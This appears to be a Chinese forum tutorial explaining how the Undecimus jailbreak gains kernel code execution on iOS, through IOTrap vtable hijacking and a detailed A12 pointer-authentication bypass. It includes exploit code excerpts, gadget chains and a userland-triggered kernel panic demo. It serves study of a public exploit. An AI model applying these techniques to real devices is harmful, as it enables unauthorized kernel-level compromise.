kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
{
    kptr_t returnval = 0;
    pthread_mutex_lock(&kexec_lock);
#if __arm64e__
    returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
#else
    // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
    // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
    // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
    // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
    // through like normal.

    // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
    // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
    // (i'm not actually sure if the switch back is necessary but meh)

    // IOTrap starts at +0x40
    // fake_client 即我们构造的 userClient
    // 0ffx20 为 IOTrap->object,offx28 为 IOTrap->func,这里是对原始值进行备份
    kptr_t offx20 = ReadKernel64(fake_client + 0x40);
    kptr_t offx28 = ReadKernel64(fake_client + 0x48);

    // IOTrap->object = arg0
    WriteKernel64(fake_client + 0x40, x0);
    // IOTrap->func = func_ptr
    WriteKernel64(fake_client + 0x48, ptr);

    // x1~x6 为函数的第 1 ~ 6 个参数,第 0 个参数通过 trap->object 传入
    returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);

    // 这里对原始值进行恢复
    WriteKernel64(fake_client + 0x40, offx20);
    WriteKernel64(fake_client + 0x48, offx28);
#endif
    pthread_mutex_unlock(&kexec_lock);
    return returnval;
}
```

基于上述讨论这段代码还是很好理解的,到这里非 arm64e 架构下的内核任意代码执行原理就讲解完了,有关 arm64e 的讨论将在下一篇文章中继续,下面我们用 kexec 做一个实验来验证 Primitive 的达成。

## kexec 实验

### 环境准备

请读者打开 Undecimus 源码的 jailbreak.m,搜索 _assert(init_kexec() 定位到初始化 kexec 的代码,向上翻可以发现 kexec 的初始化被放到了 ShenanigansPatch 和 setuid(0) 之后。ShenanigansPatch 是用来解决内核对 sandbox 化进程的 ucred 检查而采取的绕过措施,它是通过 String XREF 定位和修改内核全局变量实现的,有兴趣的读者可以自行阅读 Shenanigans, Shenanigans! 来了解。

对于非 arm64e 设备,似乎仅通过 tfp0 即可实现 kexec,这段处理应该是针对 arm64e 设备绕过 PAC 所做的必要提权处理。

我们的实验代码一定要放到 init_kexec 执行成功之后才行。

### 获取一个内核函数的地址

在 Undecimus 中获得了许多关键函数的地址,它们通过声明一个名为 find_xxx 的导出符号实现动态查找和缓存,需要注意的是,在 kexec 初始化后 kerneldump 已经被释放,因此必须在初始化 kerneldump 时就计算好函数的地址。

我们先参考 Undecimus 是如何查找和缓存一个内核数据的,以 vnodelookup 函数为例:首先我们需要在 patchfinder64.h 中声明一个名为 `find` 的函数,它返回被查找符号的地址:

```
uint64_t find_vnode_lookup(void);
```

随后基于 String XREF 完成查找的实现:

```
addr_t find_vnode_lookup(void) {
    addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n", 1, string_base_pstring, false, false);
    if (!hfs_str) return 0;

    hfs_str -= kerndumpbase;

    addr_t call_to_stub = step64_back(kernel, hfs_str, 10*4, INSN_CALL);
    if (!call_to_stub) return 0;

    return follow_stub(kernel, call_to_stub);
}
```

随后在 kerneldump 阶段通过宏函数 find_offset 完成查找:

```
find_offset(vnode_lookup, NULL, true);
```

上述宏函数会动态调用 find_<symbol_name> 函数并将结果缓存起来,随后可通过 getoffset 宏函数来获取相应的偏移:

```
kptr_t const function = getoffset(vnode_lookup);
```

这里我们照猫画虎的创建一个 panic 函数偏移:

```
uint64_t find_panic(void)
{
    addr_t ref = find_strref("\"shenanigans!", 1, string_base_pstring, false, false);

    if (!ref) {
      return 0;
    }

    return ref + 0x4;
}
```

这里查找的代码是位于 sandbox.kext 中的 panic 语句:   

```
panic("\"shenanigans!\"");
```

通过 String XREF 我们能定位到 panic 调用前的 add 指令,下一条指令一定是 bl _panic,因此将查找结果 + 4 即可得到内核中 panic 函数的地址。

### 调用内核函数

在上文中我们找到了 panic 函数的地址,这里尝试用一个自定义字符串触发一个 kernel panic,注意由于 SMAP 的存在,panic string 要从 userland 拷贝到 kernel:

```
// play with kexec
uint64_t function = getoffset(panic);
const char *testStr = "this panic is caused by userland!!!!!!!!!!!!!!!";
kptr_t kstr = kmem_alloc(strlen(testStr));
kwrite(kstr, testStr, strlen(testStr));
kptr_t ret = kexec(function, (kptr_t)kstr, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL);
NSLog(@"result is %@", @(ret));
kmem_free(kstr, sizeof(testStr));
```

随后运行 Undecimus,会发生 kernel panic,为了验证我们成功调用了内核的 panic 函数,在 iPhone 上打开设置页,打开 Privacy->Analytics->Analytics Data,找到其中以 panic-full 开头的最新日志


# 绕过A12的PAC实现kexec

在 上一篇文章 中我们介绍了非 arm64e 下通过 IOTrap 实现 kexec 的过程。阻碍 arm64e 实现这一过程的主要因素是 PAC (Pointer Authentication Code) 缓解措施,在这一篇文章中我们将介绍 Undecimus 中绕过 PAC 机制的过程。

整个绕过过程十分复杂,本文的主要参考资料为 Examining Pointer Authentication on the iPhone XS 和 Undecimus 中与 arm64e 相关的 PAC Bypass 代码。

## PAC 的一些特点

什么是 PAC 这里不再赘述,简言之就是一种对返回地址、全局指针等的一种签名与验签保护机制,详细定义和机制读者可以自行查阅资料,这里仅给出一个简单的例子来帮助理解 PAC 实现。

下面这段代码中包含了一个全局数值变量、一个基于函数指针 fptr 的动态函数调用,猜一下哪些值会被 PAC 保护呢?

```
// pac.cpp
#include <cstdio>

int g_somedata = 102;

int tram_one(int t) {
    printf("call tramp one %d\n", t);
    return 0;
}

void step_ptr(void *ptr) {
    *reinterpret_cast<void **>(ptr) = (void *)&tram_one;
}

int main(int argc, char **argv) {
    g_somedata += argc;
    void *fptr = NULL;
    step_ptr(fptr);
    (reinterpret_cast<int (*)(int)>(fptr))(g_somedata);
    return 0;
}
```

下面我们用 clang 将 cpp 编译链接并生成 arm64e 下的汇编代码:

```
clang -S -arch arm64e -isysroot `xcrun --sdk iphoneos --show-sdk-path` -fno-asynchronous-unwind-tables pac.cpp -o pace.s
```

生成的完整汇编结果为:

```
    .section    __TEXT,__text,regular,pure_instructions
    .build_version ios, 13, 0    sdk_version 13, 0
    .globl    __Z8tram_onei         ; -- Begin function _Z8tram_onei
    .p2align    2
__Z8tram_onei:                        ; @_Z8tram_onei
    .cfi_startproc
; %bb.0:
    pacibsp
    sub    sp, sp, #32             ; =32
    stp    x29, x30,    ; 16-byte Folded Spill
    add    x29, sp, #16            ; =16
    .cfi_def_cfa w29, 16
    .cfi_offset w30, -8
    .cfi_offset w29, -16
    stur    w0,
    ldur    w0,
                                        ; implicit-def: $x1
    mov    x1, x0
    mov    x8, sp
    str    x1,
    adrp    x0, l_.str@PAGE
    add    x0, x0, l_.str@PAGEOFF
    bl    _printf
    mov    w9, #0
    str    w0,             ; 4-byte Folded Spill
    mov    x0, x9
    ldp    x29, x30,    ; 16-byte Folded Reload
    add    sp, sp, #32             ; =32
    retab
    .cfi_endproc
                                        ; -- End function
    .globl    __Z8step_ptrPv          ; -- Begin function _Z8step_ptrPv
    .p2align    2
__Z8step_ptrPv:                         ; @_Z8step_ptrPv
; %bb.0:
    sub    sp, sp, #16             ; =16
    adrp    x8, l__Z8tram_onei$auth_ptr$ia$0@PAGE
    ldr    x8,
    str    x0,
    ldr    x0,
    str    x8,
    add    sp, sp, #16             ; =16
    ret
                                        ; -- End function
    .globl    _main                   ; -- Begin function main
    .p2align    2
_main:                                  ; @main
    .cfi_startproc
; %bb.0:
    pacibsp
    sub    sp, sp, #64             ; =64
    stp    x29, x30,    ; 16-byte Folded Spill
    add    x29, sp, #48            ; =48
    .cfi_def_cfa w29, 16
    .cfi_offset w30, -8
    .cfi_offset w29, -16
    adrp    x8, _g_somedata@PAGE
    add    x8, x8, _g_somedata@PAGEOFF
    stur    wzr,
    stur    w0,
    stur    x1,
    ldur    w0,
    ldr    w9,
    add    w9, w9, w0
    str    w9,
    mov    x8, #0
    str    x8,
    ldr    x0,
    bl    __Z8step_ptrPv
    adrp    x8, _g_somedata@PAGE
    add    x8, x8, _g_somedata@PAGEOFF
    ldr    x0,
    ldr    w9,
    str    x0,          ; 8-byte Folded Spill
    mov    x0, x9
    ldr    x8,          ; 8-byte Folded Reload
    blraaz    x8
    mov    w9, #0
    str    w0,          ; 4-byte Folded Spill
    mov    x0, x9
    ldp    x29, x30,    ; 16-byte Folded Reload
    add    sp, sp, #64             ; =64
    retab
    .cfi_endproc
                                        ; -- End function
    .section    __DATA,__data
    .globl    _g_somedata             ; @g_somedata
    .p2align    2
_g_somedata:
    .long    102                     ; 0x66

    .section    __TEXT,__cstring,cstring_literals
l_.str:                                 ; @.str
    .asciz    "call tramp one %d\n"


    .section    __DATA,__auth_ptr
    .p2align    3
l__Z8tram_onei$auth_ptr$ia$0:
    .quad    __Z8tram_onei@AUTH(ia,0)

.subsections_via_symbols
```

## 返回地址保护

这里有几个值得注意的地方,第一个是每个嵌套了调用的函数的开头和结尾处都被插入了 PAC 指令:

```
__Z8tram_onei:
    pacibsp
    ; ...
    retab
```

这里 PAC 用 Instruction Key B 保护了函数的返回地址,有效防止了 JOP 攻击。

再看一下全局变量的声明和访问:

```
    .section    __DATA,__data
    .globl    _g_somedata             ; @g_somedata
    .p2align    2
_g_somedata:
    .long    102                     ; 0x66

    adrp    x8, _g_somedata@PAGE
    add    x8, x8, _g_somedata@PAGEOFF
    ldr    w9,
```

可见常规的数值变量并没有在 PAC 的保护之下。

## 指针保护

下面我们来看一下函数指针的赋值与调用:

```
int tram_one(int t) {
    printf("call tramp one %d\n", t);
    return 0;
}

void step_ptr(void *ptr) {
    *reinterpret_cast<void **>(ptr) = (void *)&tram_one;
}

int main(int argc, char **argv) {
    // ...
    void *fptr = NULL;
    step_ptr(fptr);
    (reinterpret_cast<int (*)(int)>(fptr))(g_somedata);
    return 0;
}
```

首先可以看到 tram_one 函数地址这一全局符号受到了 PAC 保护:

```
    .section    __DATA,__auth_ptr
    .p2align    3
l__Z8tram_onei$auth_ptr$ia$0:
    .quad    __Z8tram_onei@AUTH(ia,0)
step_ptr 函数中对应的访问代码:

__Z8step_ptrPv:
    ; ...
    adrp    x8, l__Z8tram_onei$auth_ptr$ia$0@PAGE
    ldr    x8,
    ; ...
在执行 (reinterpret_cast<int (*)(int)>(fptr))(g_somedata); 调用时,采用了带 PAC 验证的指令:

_main:
    ; ...
    ; x8 = l__Z8tram_onei$auth_ptr$ia$0
    blraaz    x8
```

## PAC 对 JOP 的影响

在上一篇文章中我们实现 kexec 的关键在于劫持一个虚函数,这里所修改的地址有:

修改虚函数表的 getTargetAndTrapForIndex 指针指向 Gadget;
构造 IOTrap,其 func 指向要执行的内核函数。
不幸的是,这两个地址都受到了 PAC 机制的保护,所以我们之前的 kexec 方法在 arm64e 上就失效了。以下的代码摘自于参考资料:

```
loc_FFFFFFF00808FF00
    STR      XZR, ;; target = NULL
    LDR      X8,                ;; x19 = userClient, x8 = ->vtable
    ; 1. vtable is under protection
    AUTDZA   X8                      ;; validate vtable's PAC
    ; ...
    MOV      X0, X19               ;; x0 = userClient
    ; 2. vtable->getTargetAndTrapForIndex is under protection
    BLRAA      X8, X9                  ;; PAC call ->getTargetAndTrapForIndex
    ; ...
    MOV      X9, #0                  ;; Use context 0 for non-virtual func
    B          loc_FFFFFFF00808FF70
    ; ...
loc_FFFFFFF00808FF70
   ; ... not set x9
   ; 3. trap->func is under protection
   BLRAA      X8, X9                  ;; PAC call func(target, p1, ..., p6)
   ; ...
```

由上面的代码可知,在 arm64e 架构的 iOS 12.1.2 内核代码中,虚函数表、虚函数指针和 IOTrap 的函数指针都得到了 PAC 保护。

需要特别注意的是,这里的 trap->func 调用所使用的 context 寄存器 X9 被写入了 0,即 BLRAA 相当于验签了一个 PACIZA 签名的地址,这是实现第一个受限 kexec 的重要突破口。

## 绕过 PAC 的理论分析

### 限制条件

在 参考资料 的 write-up 中很大篇幅讲述了从软件白盒、硬件黑盒的角度对 PAC 进行的分析与绕过尝试,并得到了如下结论:

储存 PAC Key 的寄存器只能在 EL1 模式下访问,而用户态处于 EL0,无法直接访问这些系统寄存器;
即使我们能从内核的内存中读取到 PAC Key,如果不能逆向出完整的加解密过程,依然无法伪造签名;
Apple 在 EL0 和 EL1 中使用了不同的 PAC Key,这就打破了 Croess-EL PAC Forgeries;
Apple 在实现 PACIA, PACIB, PACDA 和 PACDB 这些指令时采用了不同的算法,即使全部使用相同的 Key 也会得到不同的结果,这就打破了 Cross-Key Symmetry;
虽然在软件层面看 PAC Key 是 hardcode 的,但事实证明每次启动 PAC Key 都会变化。
这 5 条限制每一条都刺痛着尝试绕过 PAC 的人们的心,可见苹果在这一方面做了非常多变态的保护企图将 JOP 彻底解决。此外苹果还在公开的 XNU 代码中删除了与 PAC 相关的细节,并通过控制流混淆等手段阻止黑客在 kernelcache 中轻易找到可用的 Signing Gadgets。

### 有利条件

不得不佩服这些内核大佬的功力,即使在如此重重保护下 Brandon Azad 依然找到了 PAC 在实现上的一些软件漏洞:

PAC 在进行验签时,如果发现验签失败,它会将 2 位 error code 插入到指针的 62~61 区域,这里是 pointer's extension bits;
PAC 在执行签名时,如果发现指针的 extension bits 异常,它仍然会插入正确的签名,只是会通过翻转 PAC 的最高位 (第 62 位) 来使指针失效。
有趣的事情来了,如果我们把一个常规的地址交给 PAC 验签 (AUT*),那么它会给指针的 extension bits 插入一个 error code 使其异常。此后如果再将这个值进行签名 (PAC*),由于 error code 的存在会签名失败,但是正确的 PAC 依然会被计算并插入,只是指针的第 62 位被翻转了。因此我们只要找到一个先对指针的值进行 AUT*,随后再进行 PAC* 最后将值写入固定内存的代码片段即可作为 Signing Gadget。

### PACIZA Signing Gadget

基于上面的理论,Brandon Azad 在 arm64e 的 kernelcache 中发现了一个满足上述有利条件的代码片段:

```
void sysctl_unregister_oid(sysctl_oid *oidp)
{
   sysctl_oid *removed_oidp = NULL;
   sysctl_oid *old_oidp = NULL;
   BOOL have_old_oidp;
   void **handler_field;
   void *handler;
   uint64_t context;
   ...
   if ( !(oidp->oid_kind & 0x400000) )         // Don't enter this if
   {
       ...
   }
   if ( oidp->oid_version != 1 )               // Don't enter this if
   {
       ...
   }
   sysctl_oid *first_sibling = oidp->oid_parent->first;
   if ( first_sibling == oidp )                // Enter this if
   {
       removed_oidp = NULL;
       old_oidp = oidp;
       oidp->oid_parent->first = old_oidp->oid_link;
       have_old_oidp = 1;
   }
   else
   {
       ...
   }
   handler_field = &old_oidp->oid_handler;
   handler = old_oidp->oid_handler;
   if ( removed_oidp || !handler )             // Take the else
   {
       ...
   }
   else
   {
       removed_oidp = NULL;
       context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
       *handler_field = ptrauth_sign_unauthenticated(
               ptrauth_auth_function(handler, ptrauth_key_asia, &context),
               ptrauth_key_asia,
               0);
       ...
   }
   ...
}
```

可以看到在代码的最底部有一个 unauth 与 auth 的嵌套调用,先对 handler 执行 auth 即 AUT*,随后立即执行 unauth,即 PAC*,正好满足了 Signing Gadget 条件。另外一个重要条件是签名结果必须写入稳定的内存,使得我们能够轻易、稳定地读取到。这里写入的 handler_field 指向 old_oidp->oid_handler,继续分析可知它来自于函数入参的 oidp。

## 寻找 Gadget

下一步的关键就是如何触发 sysctl_unregister_oid 并控制 oidp 的值。幸运的是 sysctl_oid 是被 global sysctl tree 所持有的,用于向内核中注册参数。虽然没有任何直接指向 sysctl_unregister_oid 的指针,但许多 kext 在启动时会通过 sysctl 注册参数,在结束时会通过 sysctl_unregister_oid 实现反注册,这是一个重要的线索。

最终 Brandon Azad 在 com.apple.nke.lttp 这一 kext 中找到了一对函数 l2tp_domain_module_stop 和 l2tp_domain_module_start,调用前者时会传递一个全局变量 sysctl__net_ppp_l2tp 来实现反注册,调用后者可以重新启动模块,并且这对函数包含可被定位的引用,该引用是通过 Instruction Key A 无 Context 签名的。

还记得文章开头提到的非虚函数地址在进行 IOTrap->func 调用时也是通过 Instruction Key A 和无 Context 进行验签的。因此我们只需要通过 XREF 技术定位到函数地址和全局变量地址,即可通过修改 sysctl__net_ppp_l2tp 来篡改 old_oidp->oid_handler,接下来只要找到调用 l2tp_domain_module_stop 的方法就可以实现对任意地址的 PACIZA 签名了。

## 触发 Gadget

似乎找到 l2tp_domain_module_stop 和找到一个 kexec 一样困难,但事实上它比一个完整的 kexec 简单的多,这是因为 l2tp_domain_module_stop 是无参的。我们依然可以尝试利用 IOTrap,但这一次我们无法劫持虚函数,因此需要找到一个已存在的包含 IOTrap 调用的对象。

所幸 Brandon Azad 在 kernelcache 中找到了一个 IOAudio2DeviceUserClient 类,它默认实现了 getTargetAndTrapForIndex 并提供了一个 IOTrap:

```
IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
       IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
   ...
   *target = (IOService *)this;
   return &this->IOAudio2DeviceUserClient.traps;
}

IOAudio2DeviceUserClient::initializeExternalTrapTable() {
    // ...
    this->IOAudio2DeviceUserClient.trap_count = 1;
    this->IOAudio2DeviceUserClient.traps = IOMalloc(sizeof(IOExternalTrap));
    // ...
}
```

这里的 getTargetAndTrapForIndex 将 target 指定为自己,这使得 trap->func 调用的隐含参数无法修改,即通过这种方式无法传递 arg0,也就只能通过篡改 trap->func 实现无参函数或是代码块的调用。

基于上述讨论,整个 PACIZA Signing Gadget 的构造和调用过程如下:

通过 IOKit 的 userland 接口启动一个 IOAudio2DeviceService,获取到 IOAudio2DeviceUserClient 的 mach_port 句柄;
通过句柄找到其 ipc_port,其 ip_kobject 指针指向的是真正的 IOAudio2DeviceUserClient 对象。先记录下对象地址,随后在对象上找到 traps 地址,由于 IOAudio2DeviceUserClient 只声明了一个 trap,traps 的首地址即我们要修改的 IOTrap 的地址;
通过 String XREF 技术定位 l2tp_domain_module_start, l2tp_domain_module_stop 和 sysctl__net_ppp_l2tp 的地址,先缓存原始的 sysctl_oid,随后构造 sysctl_oid 满足 sysctl_unregister_oid 特定的执行路径,最后将 sysctl_oid->oid_handler 赋值为需要签名的地址;
修改第 2 步找到的 trap,将其 func 指向 l2tp_domain_module_stop,并通过 IOConnectTrap6 触发 IOAudio2DeviceUserClient 对象的 IOTrap->func 调用,这里便实现了对 l2tp_domain_module_stop 的调用,随后会执行到 sysctl_unregister_oid,并将签名失败的结果写入 sysctl__net_ppp_l2tp->oid_handler,此时我们可以读取结果,并翻转第 62 位得到正确的签名;
最后一步是通过 l2tp_domain_module_start 重启服务,但这里需要传递新的 sysctl_oid 作为入参,通过上面的 Primitives 是无法完成的。

### 清理环境.

由于 IOAudio2DeviceUserClient 的 IOTrap 调用仅能实现无参的 kexec,我们无法在完成 PACIZA 签名后重启 IOAudio2DeviceUserClient 服务,这会使得 Signing Gadget 失去幂等性,或是留下其他隐患,因此必须找到一个能有参调用 kexec 的办法来重启服务。   

问题的关键是 IOTrap->func 调用时 arg0 指向了 this,因此单次调用时肯定无法修改 arg0 了,我们这里可以尝试多次跳转。所幸在 kernelcache 中有这样的一段代码:

```
MOV         X0, X4
BR          X5
```

由于我们通过 IOConnectTrap6 能控制 x1 ~ x6,所以通过 x4 既能间接控制 x0,x5 即是下一跳的地址,我们先让 IOTrap->func 指向这一片段的 PACIZA'd 地址,然后通过 x4 控制 arg0,x1 ~ x3 控制 arg1 ~ arg3,x5 控制 JOP 的目标地址,即可实现一个 4 个参数的 kexec。

因此我们只需要用上面的无参调用去签名一下上述代码块的地址,然后将其作为 IOTrap->func 的地址,再通过 IOConnectTrap6 的入参控制 x1 ~ x5 即可实现对 l2tp_domain_module_start 的带参调用,这里传递的是之前备份的 sysctl_oid,从而完美的恢复现场。

到这里,一个完美的 PACIZA Signing Gadget 就达成了,同时我们还得到了一个非常有用的代码片段的 PACIZA 签名:

```
MOV         X0, X4
BR          X5
```

我们将其称为 G1,也是这是后续工作的一个重要 Gadget。

## PACIA & PACDA Signing Gadget

遗憾的是许多调用点(例如虚函数)都采用了带有 Context 的调用方式,例如上文中提到的片段:

```
context = (0x14EF << 48) | ((uint64_t)handler_field & 0xFFFFFFFFFFFF);
*handler_field = ptrauth_sign_unauthenticated(
       ptrauth_auth_function(handler, ptrauth_key_asia, &context),
       ptrauth_key_asia,
       0);
```

这就要求我们找到包含 PACIA 和 PACDA 的代码块,且他们要将签名结果写入稳定的内存。所幸这样的 Gadget 也是存在的:

```
; sub_FFFFFFF007B66**8
; ...
PACIA       X9, X10
STR         X9,
; ...
PACDA       X9, X10
STR         X9,
; ...
PACIBSP
STP         X20, X19, !
...         ;; Function body (mostly harmless)
LDP         X20, X19, ,#0x20
AUTIBSP
MOV         W0, #0
RET
```

这一段代码同时包含了 PACIA 和 PACDA,且后续都通过 STR 写入了内存。唯一不足的是在执行完语句后距离 RET 还有很远的距离,且当前入口点位于函数的中间位置。所幸函数真正的开场白位于这些指令之后:

```
PACIBSP
STP         X20, X19, !
; ...
```

所以似乎我们从中部进入函数不会有太多的不良影响,在这里我们只需要控制 x9 作为指针,x10 作为 context,x2 控制写入的内存区域,即可实现一个 PACIA & PACDA 的签名伪造。

但是基于 IOAudio2DeviceUserClient 的 IOConnectTrap6 我们只能控制 x1 ~ x6,无法直接控制 x9 和 x10,这里就需要我们寻找更多的 Gadget 来实现组合调用来控制 x9 和 x10。

随后 Brandon Azad 在 kernelcache 中又搜索到了几个可利用的 Gadget,截止到目前我们总共有 3 个可用的 Gadget:

```
; G1
MOV         X0, X4
BR          X5

; G2
MOV         X9, X0
BR          X1

; G3
MOV         X10, X3
BR          X6
```

G1 使我们能通过 x4 控制 x0,再通过 G2 可将 x0 写入 x9,最后通过 G3 将 x3 写入 x10,G1 -> G2 通过 X5 指向 G2 实现,G2 - > G3 通过 X1 指向 G3 实现,最后通过 x6 即可跳转到包含 PACIA & PACDA 的 Gadget,此时 x2, x9, x10 均已间接填入合适的参数,因此可以完成一个 PACIA & PACDA Forgery。

上述调用环环相扣,且不能有任何寄存器上的重叠,否则将无法有效地准备参数,我们难以想象找到这么一组 Gadget 耗费了多么大的精力,在这里向大佬致敬。基于上述讨论,我们以 G1 为 IOTrap->func 的入口点,如下准备 IOConnectTrap6 的参数:

```
trap->func = paciza(G1);
arg1 = x1 = G3;
arg2 = x2 = buffer_to_save_pacxad_pointer;
arg3 = x3 = context;
arg4 = x4 = pointer;
arg5 = x5 = G2;
arg6 = x6 = sub_FFFFFFF007B66**8_PACXA_ENTRY
```


这会形成一个链式调用,控制流如下:

```
MOV         X0, X4
BR          X5
MOV         X9, X0
BR          X1
MOV         X10, X3
BR          X6
PACIA       X9, X10
STR         X9,
; ...
PACDA       X9, X10
STR         X9,
; ...
```

到这里我们就通过一系列的 Gadget 和 IOConnectTrap6 实现了 PACIA & PACDA 的 Forgery。

## 完美的 kexec

到这里我们已经可以伪造 Key A 的任意签名,但依然没有实现完美的 kexec,此时我们还只能实现 4 个参数的 kexec,其根本原因是我们依赖于 IOAudio2DeviceUserClient 对 getTargetAndTrapForIndex 的默认实现,遗憾的是这一实现中将 target 设置为了 this 从而导致我们无法直接控制 arg0,转向 Gadget 后则会遇到 4 个参数的限制:


```
IOExternalTrap *IOAudio2DeviceUserClient::getTargetAndTrapForIndex(
       IOAudio2DeviceUserClient *this, IOService **target, unsigned int index)
{
   ...
   *target = (IOService *)this;
   return &this->IOAudio2DeviceUserClient.traps;
}
```

为了能实现完美的 kexec,最好的办法依然是劫持虚函数,虽然 PAC 对虚函数表和虚函数指针做了签名,但它是通过 Key A 完成的,到这里我们已经能够伪造这些签名,从而再次实现虚函数的劫持。

## 修改 getTargetAndTrapForIndex 为默认实现

IOAudio2DeviceUserClient 覆盖实现的 getTargetAndTrapForIndex 给我们带来了麻烦,这里我们可以将其修改为父类的默认实现:

```
IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
      IOExternalTrap *trap = getExternalTrapForIndex(index);

      if (trap) {
            *targetP = trap->object;
      }

      return trap;
}
```

由于 IOAudio2DeviceUserClient 的 traps 不是通过 getExternalTrapForIndex 取得的,这里我们还需要继续修改 getExternalTrapForIndex 方法,使其能够返回一个构造的 IOTrap,这里遇到的一个问题是父类默认实现为返回空值:

```
IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
    return NULL;
}
```

这就需要我们在 IOUserClient 上找到一个合适的函数和成员变量,使得该函数返回成员变量或成员变量的某个引用,这样我们就能间接地通过控制成员变量来返回特定的 IOTrap。幸运的是 IOUserClient 间接继承了超类 IORegistryEntry,它包含了一个 reserved 成员和一个返回该成员的成员函数:

```
class IORegistryEntry : public OSObject
{
// ...
protected:
/*! @var reserved
    Reserved for future use.(Internal use only)*/
    ExpansionData * reserved;

public:
    uint64_t IORegistryEntry::getRegistryEntryID( void )
    {
      if (reserved)
      return (reserved->fRegistryEntryID);
      else
      return (0);
    }
```

可见我们只要将虚函数表中的 getExternalTrapForIndex 指向 IORegistryEntry::getRegistryEntryID,再修改 UserClient 实例的 reversed 使其 reserved->fRegistryEntryID 指向我们构造的 IOTrap 即可。

通过上述改造,我们再次获得了一个完美的支持 7 个入参的 kexec,理论分析起来容易,要实施这一过程是十分复杂的,因为每一个虚函数所使用的 sign context 是不同的,这就要求 dump 出所有的 sign context 再进行处理。

## 绕过 PAC 的代码导读

经过理论分析相信读者已经对整个绕过的过程有了整体认识,由于整个过程太过复杂,单单进行理论分析难免会让人云里雾里,将上述理论分析结合阅读 Undecimus 中的代码可以很好的加深理解。

这部分代码位于上一篇文章提到的 init_kexec 和 kexec 两个函数中,针对 arm64e 架构采用了完全不同的手段。鉴于本文的理论分析部分已涉及到大量的代码,这里不再完整的进行分析,只说几个理论分析中未完全提及的内容。完整的代码请读者结合上述理论分析自行阅读,相信你会有很大的收获。

经过上面的分析相信读者能够轻易地理解 kernel_call_init 中的 stage1_kernel_call_init 和 stage2_kernel_call_init,这两个阶段主要是完成 UserClient 的启动和 G1 的签名工作,需要注意的是在 stage2_kernel_call_init->stage1_init_kernel_pacxa_forging 的结尾处创建了一个 buffer,用来存储新的虚函数表以及 PACIA & PACDA 的签名结果:

```
static void
stage1_init_kernel_pacxa_forging() {
    // ...
    kernel_pacxa_buffer = stage1_get_kernel_buffer();
}
```

此外 A12 在 iOS 12.1.2 的 PAC 机制也允许在 userland 通过 XPAC 指令直接将一个加签的指针还原,这给我们拷贝虚函数表带来了极大的便利,这段代码位于 stage3_kernel_call_init 中:

```
uint64_t
kernel_xpacd(uint64_t pointer) {
#if __arm64e__
    return xpacd(pointer);
#else
    return pointer;
#endif
}

static uint64_t *
stage2_copyout_user_client_vtable() {
    // Get the address of the vtable.
    original_vtable = kernel_read64(user_client);
    uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
    // Read the contents of the vtable to local buffer.
    uint64_t *vtable_contents = malloc(max_vtable_size);
    assert(vtable_contents != NULL);
    kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
    return vtable_contents;
}
```

在 patch 虚函数表时,每个函数都有其特定的 context,因此这里使用了 dump 出来的对应于每个虚函数的 PAC Code,这段代码位于 stage2_patch_user_client_vtable 中:

```
static size_t
stage2_patch_user_client_vtable(uint64_t *vtable) {
// ...
#if __arm64e__
    assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
    vmethod = kernel_xpaci(vmethod);
    uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
    vtable = kernel_forge_pacia_with_type(vmethod, vmethod_address,
            VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes);
#endif // __arm64e__
    }
    return count;
}
```

这里针对每个虚函数都采用了不同的 PAC Code,dump 出的 PAC Code 通过静态变量存储,并借助宏 VTABLE_PAC_CODES 进行访问,这里的每个 context 长度只有 16 位:

```
static void
pac__iphone11_8__16C50() {
    INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient,
      0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc,
      0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10,
      0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275,
      0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262,
      0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb,
      0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60,
      0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc,
      0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d
      // ...
    );
}
```

其他部分基本在理论分析中都已提到,这里不再赘述。




Golden Blonde 发表于 2022-2-8 19:00:03

原来在iOS上也可以艹内核啊。。。

元始天尊 发表于 2022-2-9 01:33:51

本帖最后由 元始天尊 于 2022-2-9 11:08 编辑

美俪女神 发表于 2022-2-8 19:00
原来在iOS上也可以艹内核啊。。。

是的, 内核是pid=0的进程,越狱以后可以拿到权限.没越狱不行的
但是也比较苛刻, 只能利用“已有的内核代码”, 想自己加载驱动, 或者注入什么代码, 就不行了,
